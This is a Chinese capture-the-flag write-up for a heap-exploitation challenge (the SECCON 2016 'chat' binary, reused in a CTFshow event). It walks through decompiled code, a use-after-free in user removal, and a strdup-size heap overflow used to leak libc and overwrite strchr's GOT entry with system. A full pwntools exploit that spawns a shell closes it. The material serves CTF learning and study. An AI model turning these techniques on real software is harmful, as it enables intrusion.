CTFSHOW吃瓜杯,PWN方向第三题竟是SECCON原题,于是当时没有仔细研究,直接套用了其他大佬的EXP(第二第三第四题都是各大比赛的原题,网上可以直接找到写好的EXP……)
既然现在比赛结束了,正好来补一下WP。收获很大,说明我还非常菜…..
正文: 函数: Main:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax int v4; // eax int v6; // [rsp+0h] [rbp-B0h] _QWORD *v7; // [rsp+8h] [rbp-A8h] BYREF char v8[136]; // [rsp+10h] [rbp-A0h] BYREF unsigned __int64 v9; // [rsp+98h] [rbp-18h] v9 = __readfsqword(0x28u); v7 = 0LL; fwrite("Simple Chat Service\n", 1uLL, 0x14uLL, stdout); do { if ( v7 ) { service(v7); logout(&v7); } fwrite("\n1 : Sign Up\t2 : Sign In\n0 : Exit\nmenu > ", 1uLL, 0x29uLL, stdout); v3 = getint(); v6 = v3; if ( v3 ) { if ( v3 < 0 v3 > 2 ) { fwrite("Wrong Input...\n", 1uLL, 0xFuLL, stderr); } else { fwrite("name > ", 1uLL, 7uLL, stdout); getnline(v8, 32LL); if ( v6 == 1 ) v4 = signup(v8); else v4 = login(&v7, v8); if ( v4 == 1 ) fwrite("Success!\n", 1uLL, 9uLL, stdout); else fwrite("Failure...\n", 1uLL, 0xBuLL, stderr); } } } while ( v6 ); return fwrite("Thank you for using Simple Chat Service!\n", 1uLL, 0x29uLL, stdout); }
Service:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 unsigned __int64 __fastcall service(_QWORD *a1) { unsigned int v1; // eax int v2; // eax int v4; // [rsp+14h] [rbp-9Ch] __int64 v5; // [rsp+18h] [rbp-98h] char v6[136]; // [rsp+20h] [rbp-90h] BYREF unsigned __int64 v7; // [rsp+A8h] [rbp-8h] v7 = __readfsqword(0x28u); fwrite("\nService Menu\n", 1uLL, 0xEuLL, stdout); do { fwrite( "\n" "1 : Show TimeLine\t2 : Show DM\t3 : Show UsersList\n" "4 : Send PublicMessage\t5 : Send DirectMessage\n" "6 : Remove PublicMessage\t\t7 : Change UserName\n" "0 : Sign Out\n" "menu >> ", 1uLL, 0xA3uLL, stdout); v4 = getint(); switch ( v4 ) { case 0: break; case 1: get_tweet(0LL); break; case 2: get_tweet(a1); break; case 3: list_users(); break; case 4: fwrite("message >> ", 1uLL, 0xBuLL, stdout); getnline(v6, 0x80LL); post_tweet(a1, 0LL, v6); break; case 5: fwrite("name >> ", 1uLL, 8uLL, stdout); getnline(v6, 32LL); v5 = get_user(v6); if ( v5 ) { fwrite("message >> ", 1uLL, 0xBuLL, stdout); getnline(v6, 128LL); post_tweet(a1, v5, v6); } else { fprintf(stderr, "User '%s' does not exist.\n", v6); } break; case 6: fwrite("id >> ", 1uLL, 6uLL, stdout); v1 = getint(); v2 = remove_tweet(a1, v1); if ( v2 == -1 ) { fwrite("Can not remove other user's message.\n", 1uLL, 0x25uLL, stderr); } else if ( !v2 ) { fwrite("Message not found.\n", 1uLL, 0x13uLL, stderr); } break; case 7: fwrite("name >> ", 1uLL, 8uLL, stdout); getnline(v6, 32LL); if ( change_name(a1, v6) < 0 ) v4 = 0; break; default: fwrite("Wrong Input...\n", 1uLL, 0xFuLL, stderr); break; } if ( v4 ) fwrite("Done.\n", 1uLL, 6uLL, stdout); } while ( v4 ); return __readfsqword(0x28u) ^ v7; }
程序大致实现了一个聊天室功能,能够注册、公共频道发消息、私信等等。
审计代码时务必要捋清每个变量的意义,否则会因为大量的指针而失去方向。
如下结构体为程序所用到的两个结构,整个程序从头到尾都只会对这两个结构进行操作,当然,要得出这样的结构体需要经过仔细的审计,其过程本文不再赘述,仅提供结果以方便之后的理解
1 2 3 4 5 6 7 8 9 10 11 12 struct user { char *name; struct message *msg; struct user *next_user; } struct message { int id ; // use in tweet (public message) only struct user *sender; char content[128]; struct message *next_msg; }
漏洞分析与利用: 1 2 3 4 5 6 7 8 9 10 11 __int64 __fastcall change_name(_QWORD *a1, const char *a2) { ...... else { fwrite("Change name error...\n", 1uLL, 0x15uLL, stderr); remove_user(a1); result = 0xFFFFFFFFLL; } return result; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 void __fastcall remove_user(__int64 a1) { __int64 i; // [rsp+18h] [rbp-18h] _QWORD *ptr; // [rsp+20h] [rbp-10h] _QWORD *v3; // [rsp+28h] [rbp-8h] _QWORD *v4; // [rsp+28h] [rbp-8h] void *v5; // [rsp+28h] [rbp-8h] for ( ptr = *(a1 + 8); ptr; ptr = v3 ) { v3 = ptr[18]; free(ptr); } for ( i = tl; i; i = *(i + 144) ) { if ( *(i + 0x90) && *(*(i + 144) + 8LL) == a1 ) { v4 = *(i + 144); *(i + 144) = v4[18]; free(v4); } } if ( tl && *(tl + 8) == a1 ) { v5 = tl; tl = *(tl + 144); free(v5); } free(*a1); free(a1); }
remove_user函数在程序中异常的扎眼。当用户尝试修改用户名时将进行检测,如果用户名的首字母是不可打印字符,就会直接将这个用户删除。但在remove_user中可以看见,并没有对free后的指针进行置NULL,看起来像是UAF,但该漏洞并不体现在free上,而是在该函数的逻辑上
该函数将按如下顺序释放内存块:
将发送给该目标的私信message 释放
将该用户发送到公频的message 释放
将该用户的name 释放
将该用户本身释放
但是,它并没有将该用户发送给其他用户的私信message释放,那么在其他用户看来,当该用户被删除之后,私信会变成什么样?如下过程进行了测试,笔者以F2按键按下的内容作为用户“aa”的新名字让其被删除,再显示用户“bb”收到的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 Simple Chat Service 1 : Sign Up2 : Sign In 0 : Exit menu > 1 name > aa Success! 1 : Sign Up2 : Sign In 0 : Exit menu > 1 name > bb Success! 1 : Sign Up2 : Sign In 0 : Exit menu > 2 name > aa Hello, aa! Success! Service Menu 1 : Show TimeLine2 : Show DM3 : Show UsersList 4 : Send PublicMessage5 : Send DirectMessage 6 : Remove PublicMessage7 : Change UserName 0 : Sign Out menu >> 5 name >> bb message >> from a Done. 1 : Show TimeLine2 : Show DM3 : Show UsersList 4 : Send PublicMessage5 : Send DirectMessage 6 : Remove PublicMessage7 : Change UserName 0 : Sign Out menu >> 7 name >> ^[OQ Change name error... Bye, 1 : Sign Up2 : Sign In 0 : Exit menu > 2 name > bb Hello, bb! Success! Service Menu 1 : Show TimeLine2 : Show DM3 : Show UsersList 4 : Send PublicMessage5 : Send DirectMessage 6 : Remove PublicMessage7 : Change UserName 0 : Sign Out menu >> 2 Direct Messages [] from a Done.
收到私信显示的名字出现了异常,但消息仍然能被显示出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 __fastcall get_tweet(__int64 a1) { const char *v1; // rax __int64 v2; // rax unsigned int v4; // [rsp+1Ch] [rbp-14h] unsigned int *v5; // [rsp+20h] [rbp-10h] char *format; // [rsp+28h] [rbp-8h] if ( a1 ) fprintf(stdout, "Direct Messages\n"); else fprintf(stdout, "Time Line\n"); if ( a1 ) v1 = "[%s] %s\n"; else v1 = "(%3$03d)[%s] %s\n"; format = v1; v4 = 0; if ( a1 ) v2 = *(a1 + 8); else v2 = tl; v5 = v2; while ( v5 ) { fprintf(stdout, format, **(v5 + 1), v5 + 4, *v5); v5 = *(v5 + 18); ++v4; } return v4; }
显示规则如上,此处的变量 a1 为指向当前登录用户结构体的指针
输出的名字为 **(v5 + 1)
既然该消息没有被释放,那么此处构成**UAF(Use After Free)**,只要能够操作 *(v5+1) 的内容,就能泄露任意地址的内容
*(v5+1) 为一个指向 name 的指针,在创建账号的时候会开辟一个user,然后再开辟一个name:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 __int64 __fastcall signup(const char *a1) { __int64 result; // rax int v2; // [rsp+14h] [rbp-Ch] _QWORD *ptr; // [rsp+18h] [rbp-8h] if ( get_user(a1) ) { fprintf(stderr, "User '%s' already exists\n", a1); result = 0LL; } else { ptr = malloc(0x18uLL); v2 = hash(a1); if ( v2 >= 0 ) { *ptr = strdup(a1); ptr[1] = 0LL; ptr[2] = user_tbl[v2]; user_tbl[v2] = ptr; result = 1LL; } else { free(ptr); fwrite("Signup failed...\n", 1uLL, 0x11uLL, stderr); result = 0xFFFFFFFFLL; } } return result; }
特别的是,name通过strdup开辟(该函数会为字符串自动开辟合适大小空间然后进行拷贝)
如果名字只有16个字符之内,strdup只开辟0x20大小空间,但名字能有32个字符,如果使用名字长达30,该函数就会开辟0x30大小的字符
但如果其开辟了0x20,而用户通过改名来改为更长的字符就能实现堆溢出(0x20中只有0x10用于储存字符,而0x30中则有0x20储存内容)
堆溢出在此处可以用于复写下一个chunk的size,构成heap overflow
以及,在注销用户时也会按顺序先释放name再释放user,申请的时候会先申请user再申请name,我们的目的是让某个被注销的name重新被申请为某个user,这样在get_tweet时候得到的name指针即为新用户的name字段内容,该字段能通过change_name任意写地址
至此,利用UAF泄露libc基址
接下来是如何让程序执行 system(“/bin/sh”)
基本思路是通过复写某个函数,让程序在调用时执行system
其中目的函数为 strchr,原因如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int getint() { int result; // eax char nptr[136]; // [rsp+0h] [rbp-A0h] BYREF unsigned __int64 v2; // [rsp+88h] [rbp-18h] v2 = __readfsqword(0x28u); memset(nptr, 0, 0x80uLL); if ( getnline(nptr, 128LL) ) result = atoi(nptr); else result = 0; return result; }
1 2 3 4 5 6 7 8 9 10 size_t __fastcall getnline(char *a1, int a2) { char *v3; // [rsp+18h] [rbp-8h] fgets(a1, a2, stdin); v3 = strchr(a1, 10); if ( v3 ) *v3 = 0; return strlen(a1); }
main函数中通过getint函数来获取参数,倘若输入“/bin/sh”,则在getnline中执行
替换之后就会变成
不过有些需要注意:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 .got.plt:0000000000603018 off_603018 dq offset free ; DATA XREF: _free↑r .got.plt:0000000000603020 off_603020 dq offset strlen ; DATA XREF: _strlen↑r .got.plt:0000000000603028 off_603028 dq offset __stack_chk_fail .got.plt:0000000000603028 ; DATA XREF: ___stack_chk_fail↑r .got.plt:0000000000603030 off_603030 dq offset setbuf ; DATA XREF: _setbuf↑r .got.plt:0000000000603038 off_603038 dq offset strchr ; DATA XREF: _strchr↑r .got.plt:0000000000603040 off_603040 dq offset __libc_start_main .got.plt:0000000000603040 ; DATA XREF: ___libc_start_main↑r .got.plt:0000000000603048 off_603048 dq offset fgets ; DATA XREF: _fgets↑r .got.plt:0000000000603050 off_603050 dq offset strcmp ; DATA XREF: _strcmp↑r .got.plt:0000000000603058 off_603058 dq offset fprintf ; DATA XREF: _fprintf↑r .got.plt:0000000000603060 off_603060 dq offset __gmon_start__ .got.plt:0000000000603060 ; DATA XREF: ___gmon_start__↑r .got.plt:0000000000603068 off_603068 dq offset tolower ; DATA XREF: _tolower↑r .got.plt:0000000000603070 off_603070 dq offset malloc ; DATA XREF: _malloc↑r .got.plt:0000000000603078 off_603078 dq offset isprint ; DATA XREF: _isprint↑r .got.plt:0000000000603080 off_603080 dq offset atoi ; DATA XREF: _atoi↑r .got.plt:0000000000603088 off_603088 dq offset fwrite ; DATA XREF: _fwrite↑r .got.plt:0000000000603090 off_603090 dq offset strdup ; DATA XREF: _strdup↑r
本例中笔者通过 got表中的__libc_start_main 来泄露基址,但其他函数又是否可行呢?如下为got表对应的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 gdb-peda$ tel 0x0000000000603018 16 0000 0x603018 --> 0x7f974f791540 (<__GI___libc_free>:push r13) 0008 0x603020 --> 0x7f974f7987a0 (<strlen>:pxor xmm0,xmm0) 0016 0x603028 --> 0x4007f6 (<__stack_chk_fail@plt+6>:push 0x2) 0024 0x603030 --> 0x7f974f7836c0 (<setbuf>:mov edx,0x2000) 0032 0x603038 --> 0x7f974f796b30 (<__strchr_sse2>:movd xmm1,esi) 0040 0x603040 --> 0x7f974f72d750 (<__libc_start_main>:push r14) 0048 0x603048 --> 0x7f974f77aae0 (<_IO_fgets>:test esi,esi) 0056 0x603050 --> 0x7f974f7ac5f0 (<__strcmp_sse2_unaligned>:mov eax,edi) 0064 0x603058 --> 0x7f974f762780 (<__fprintf>:sub rsp,0xd8) 0072 0x603060 --> 0x400866 (<__gmon_start__@plt+6>:push 0x9) 0080 0x603068 --> 0x7f974f73ae70 (<tolower>:lea edx,[rdi+0x80]) 0088 0x603070 --> 0x7f974f791180 (<__GI___libc_malloc>:push rbp) 0096 0x603078 --> 0x7f974f73add0 (<isprint>:mov rax,QWORD PTR [rip+0x396041] # 0x7f974fad0e18) 0104 0x603080 --> 0x7f974f743e90 (<atoi>:sub rsp,0x8) 0112 0x603088 --> 0x7f974f77b6f0 (<__GI__IO_fwrite>:push r14) 0120 0x603090 --> 0x7f974f7984f0 (<__GI___strdup>:push rbp)
如下函数为change_name时的检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 __fastcall hash(char *a1) { int v2; // [rsp+1Ch] [rbp-4h] if ( !a1 ) return 0xFFFFFFFFLL; v2 = tolower(*a1); if ( !isprint(v2) ) return 0xFFFFFFFFLL; if ( v2 > 96 && v2 <= 122 ) return (v2 - 96); return 0LL; }
在change_name时若没能通过该检查(第一个字符可打印),则会注销用户
如果我们替换__GI___libc_malloc函数地址,替换之前先进入hash函数进行检测,而0x7f974f791180 最后一个字符0x80为不可打印字符,则会因为free(got)导致程序crash,其他函数也是同理
而反观__libc_start_main函数地址0x7f974f72d750 ,最后一个字符为0x50,为可打印字符,因此才能正常通过检测,并成功leak
最后则需要伪造chunk来复写strchr的地址,笔者的exp完成leak之后,bins的情况如下
1 2 3 4 5 6 fastbins 0x30: 0x17730a0 ◂— 0x0 unsortedbin all: 0x1773060 —▸ 0x7f3718172b78 (main_arena+88) ◂— 0x1773060 smallbins 0xa0: 0x1773170 —▸ 0x7f3718172c08 (main_arena+232) ◂— 0x1773170
0x1773060与用户malusr的user空间比较近,这块区域实则就是因为先前的remove_user而留下的,通过修改该内存块的size位即可完成heap overflow,然后通过post_tweet的方式构造payload,将0x60302a覆盖到user中的name指针处,使得该name指向0x60302a处,接下来就只需要通过change_name即可任意写got表了
完整EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #coding=utf-8 from pwn import * import sys reload(sys) sys.setdefaultencoding('utf8') context.log_level='debug' def signup(name): p.sendlineafter('>','1') p.sendlineafter('>',name) def signin(name): p.sendlineafter('>','2') p.sendlineafter('>',name) def changename(name): p.sendlineafter('>>','7') p.sendlineafter('>>',name) def tweet(msg): p.sendlineafter('>>','4') p.sendlineafter('>>',msg) def dm(user,msg): p.sendlineafter('>>','5') p.sendlineafter('>>',user) p.sendlineafter('>>',msg) def signout(): p.sendlineafter('>>','0') #p=remote("node4.buuoj.cn",27256) p=process('./chat_seccon_2016') elf=ELF('./chat_seccon_2016') libc=elf.libc ua="AAAA" ub='BBBB' uc='C'*30 signup(ua) signup(ub) signup(uc) #gdb.attach(p) signin(ua) tweet("aaaa") signout() signin(ub) tweet("bbbb") dm(ua,'BA') dm(uc,"BC") signout() signin(uc) tweet("cccc") signout() signin(ub) changename("\t") signin(uc) changename("\t") gdb.attach(p) ud='d'*7 signup(ud) signin(ud) for i in xrange(6,2,-1): changename('d'*i) malusr = p64(elf.got['__libc_start_main']) changename(malusr) signout() signin(ua) p.sendlineafter(">> ", "2") p.recvuntil("[") libc.address += u64(p.recv(6).ljust(8,"\x00")) - libc.symbols['__libc_start_main'] print hex(libc.address) system=libc.symbols['system'] signout() signin(malusr) tweet("bins") changename("i"*24+p8(0xa1)) changename(p8(0x40)) tweet("7"*16+p64(0x60302a)) changename("A"*6+"B"*8+p64(system)) p.sendlineafter(">> ", "/bin/sh\x00") p.interactive()
最后几行笔者打算做些适当的说明:
1 2 3 4 5 6 changename("i"*24+p8(0xa1)) changename(p8(0x40)) tweet("7"*16+p64(0x60302a)) changename("A"*6+"B"*8+p64(system)) p.sendlineafter(">> ", "/bin/sh\x00") p.interactive()
第一行通过堆溢出复写chunk的size,使得然后在change_name
第二行则是为了绕过change_name中的检测:
1 2 3 4 5 6 7 8 9 10 11 12 if ( user_tbl[v3] == a1 ) { user_tbl[v3] = a1[2]; } else { for ( i = user_tbl[v3]; i && *(i + 16) != a1; i = *(i + 16) ) ; if ( !i ) return 0xFFFFFFFFLL; *(i + 16) = a1[2]; }
如果缺少该行,第4行将会因为上述检测返回“-1”导致没能正确写入
经过笔者的测试,最终只要保证修改内容为“非字母” 均可通过
其原因为:第二行的复写让当前用户user指针被放入user_tbl,而在第4行时将对user_tbl进行检测;由于我们选择了__stack_chk_fail的最后一个字节作为新chunk的size位,其值为0x40,将会获得索引“0”,如果第二行使用任意“字母”,则返回的索引均为“非零”值,在上述检测里就没办法通过第一个判断了,而在另外一个循环里更加难以通过检查,因此事先user指针放入user_tbl[0]中,然后在接下来的改名里绕过检查
最后就是一系列的复写了
插画ID:91814284